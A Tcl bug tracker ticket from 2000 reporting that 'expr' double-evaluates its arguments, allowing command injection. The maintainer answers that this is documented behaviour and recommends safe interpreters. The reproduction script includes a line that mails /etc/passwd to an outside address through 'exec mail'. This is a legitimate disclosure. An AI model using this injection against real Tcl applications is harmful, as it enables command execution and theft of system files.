Skip to content
Tcl Source Code Ticket Change Details
Login

Ticket Change Details

Overview

Artifact ID: 41534553a7d4b78b975c656965d76b769dabbcd3
Ticket: 218349ffffffffffffffffffffffffffffffffff
Potential safety problem in "expr"
User & Date: nobody on 2000-10-26 00:56:34
Changes

  1. assignee changed to: "nobody"
  2. cmimetype changed to: "text/plain"
  3. comment changed to:
    OriginalBugID: 4091 Bug
    Version: 8.2.2
    SubmitDate: '2000-01-26'
    LastModified: '2000-01-26'
    Severity: MED
    Status: Closed
    Submitter: techsupp
    ChangedBy: hobbs
    OS: BSD
    OSVersion: FreeBSD 3.2, also tried on Linux 2.2 with Tcl 8.0
    FixedDate: '2000-10-25'
    ClosedDate: '2000-01-26'
    
    
    Name:
    Jørgen Frøjk Kjærsgaard
    
    Extensions:
    None
    
    ReproducibleScript:
    Consider this tclsh session
    
    % set a {[exec mail [email protected] < /etc/passwd]}
    % puts $a
    [exec mail [email protected] < /etc/passwd]
    % expr $a + 1
    1
    
    ObservedBehavior:
    I would expect an error message here, as the value of "a" is not an integer. What happens is that the 
    dangerous command gets executed and returns a zero! (don't do this unless you want to mail your 
    /etc/passwd to me!).
    
    DesiredBehavior:
    "Common sense" says that an "expr" like the above should be harmless. People might very well use such 
    a statement in an unsafe interpreter with user (possibly web) input assuming that it can do no harm... I 
    think it would be a good idea to change "expr" to avoid the dangerous double-interpretation.
    
    
    
    This is a documented feature of the expr command, and allows for
    expressions like:
       expr {[string length $a] == 80}
    
    If one wants safe execution, and is just doing simple expressions
    (like for a calculator), that is what safe interpreters are for.
    
       interp create -safe slave
       slave eval {expr [exec mail ...] + 1}
     => error will be received 
    -- 01/26/2000 hobbs
    
  4. foundin changed to: "obsolete: 8.2.2"
  5. priority changed to: "5 Medium"
  6. resolution changed to: "None"
  7. status changed to: "Open"
  8. submitter changed to: "nobody"
  9. subsystem changed to: "69. Other"
  10. title changed to: "Potential safety problem in "expr""
  11. type changed to: "RFE"